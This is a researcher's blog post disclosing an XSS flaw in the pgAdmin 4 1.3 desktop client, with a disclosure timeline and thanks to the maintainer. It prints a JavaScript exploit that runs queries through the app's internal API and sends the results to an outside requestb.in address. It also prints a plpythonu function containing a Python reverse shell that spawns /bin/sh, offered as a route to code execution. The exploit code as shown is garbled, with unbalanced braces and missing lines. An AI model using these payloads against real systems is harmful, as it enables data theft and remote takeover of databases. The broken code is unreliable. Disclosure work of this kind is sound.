SQL Injection & more via XSS in pgAdmin 4

Share this…

This is the story of how I found and exploited XSS (content injection) in the pgAdmin4 1.3 desktop client. (Before I get too much further if you use pgAdmin 4 go update to 1.4 I’ll wait)

The Spark

This all started the one day when I speculated that pgAdmin 4 was a web application, due to the fact that it zooms in and out like below when I’m trying to use it because part of my hand touches the ridiculously large touchpad on the new MBP. O_o

It took my subconscious about 24 hours to go from I can’t use this app to, wait.. if this is a web app (which I wasn’t sure of quite yet) to we can attack it like one.

A quick insert and select was the first thing I tried. I did not expect it to work.. It worked.

This means that a user of pgAdmin 4 viewing untrusted data (basically any data that comes from a web application) is vulnerable to this injection attack.

Ok, now what?

Now I had to find a way to do something interesting in the execution context I was given. I had to explore. I looked at 2 things. The constraints my environment put on me and how the application performed it’s various operations in a normal environment (i.e. how did it make a query)

Failure #1: Beef hook

I tried to hook in beef, the browser exploitation framework, but it just failed to connect back. I was rather impatient so I gave up on this fairly quickly and moved on to something more simple and reliable (but slower): alert

Moving on

I treated the app like a black box. Even though I had the source I wanted to really understand the constraints of the environment from where my code was executing. I looked around the environment for a while to see if I could find any exposed globals or objects attached to window that might be useful in performing operations as the user. I found nothing of use here and quickly gave up after about 15 min.

Making a query work

Knowing that the application could make queries, I just have to figure out how to do it myself. I alerted out window.location captured the port the server was listening on and got out tcpdump.

I recorded the traffic on localhost and performed a query tcpdump -vvnni lo0 -w pgadmin.pcap port 53108

This gave me the various API calls that were made to localhost:53108. I’ll spare you the details of digging through packet captures, but I narrowed it down to 4 steps to perform a query. Note I have no idea why this is, just what’s required based on my limited knowledge of how all this works.

  1. Get the DB List /browser/database/nodes/1/1/
  2. Query tool init '/datagrid/initialize/query_tool/1/' + id (id from step 1)
  3. Make the query '/sqleditor/query_tool/start/' + gridTransId (id from step 2)
  4. Query for requests '/sqleditor/poll/' + gridTransId (id from step 2)

Failure #2:

I thought it might be interesting to perform a CSRF attack against the local server, but it turns out the port changes every time pgAdmin is launched, also they have a token that is required to be set, so that doesn’t currently look like it’s possible.

The Exploit

Here is the working exploit and a demonstration video to make a query and then exfiltrate the results to https://requestb.in

var query = ‘select current_user, current_database()’;
var exfil_url = ‘https://requestb.in/1azh0xv1’;
var exfil = function (data) {
$.post(exfil_url, {data: JSON.stringify(data)}, function () {
// DB List
$.get(‘/browser/database/nodes/1/1/’, function (response) {
var d = JSON.stringify(response.data);
var doStuff = function (arr) {
if (arr.length == 0) {
return; // all done
var id = arr.shift()._id;
// Query Tool Init
$.post(‘/datagrid/initialize/query_tool/1/’ + id, function (response) {
var gridTransId = response.data.gridTransId;
// Make Query
$.ajax(‘/sqleditor/query_tool/start/’ + gridTransId, {
type: ‘post’,
data: ‘”‘ + query + ‘”‘,
dataType: ‘json’,
contentType: ‘application/json’,
success: function(response) {
// Get Results
setTimeout(function () {
$.get(‘/sqleditor/poll/’ + gridTransId, function (response) {
return doStuff(arr);
}).fail(function () {
return doStuff(arr);
}, 0);
}).fail(function () {
return doStuff(arr);
}).fail(function () {
return doStuff(arr);
view rawpgAdmin 4 1.3 XSS hosted with ❤ by GitHub

Bonus: Code Execution

If you made it this far you probably want something special. How about RCE?

Executing these 3 queries will help you get a nice shell if the user connected to the database has permissions.

  1. Enable python language
create language plpythonu
  1. Create a function to call home You can drop this into the poc above.
var query = 'CREATE OR REPLACE FUNCTION pwn() RETURNS text\\nLANGUAGE plpythonu\\nAS $$\\nimport socket,subprocess,os\\ns=socket.socket(socket.AF_INET,socket.SOCK_STREAM)\\ns.connect((\\"\\",4445))\\nos.dup2(s.fileno(),0)\\nos.dup2(s.fileno(),1)\\nos.dup2(s.fileno(),2)\\na=subprocess.Popen([\\"/bin/sh\\",\\"-i\\"])\\nreturn \\"\\"\\n$$;\\n';
  1. Execute the function
select pwn()


  • 03-16-2017 – Initial Discovery
  • 03-17-2017 – Reliable Exploit
  • 03-17-2017 – Initial Report to security@postgresql.org
  • 03-20-2017 – Acknowledgement of report by Dave Page
  • 03-31-2017 – Update with release in about a week
  • 04-10-2017 – Patched release published

I’d like to thank the current maintainer Dave Page for his help in fixing this for all the pgAdmin users. Security issues can be frustrating to deal with and developers that take the time to understand the issue, communicate with the reporters, and fix issue while continuing to add features as they had planned are greatly appreciated.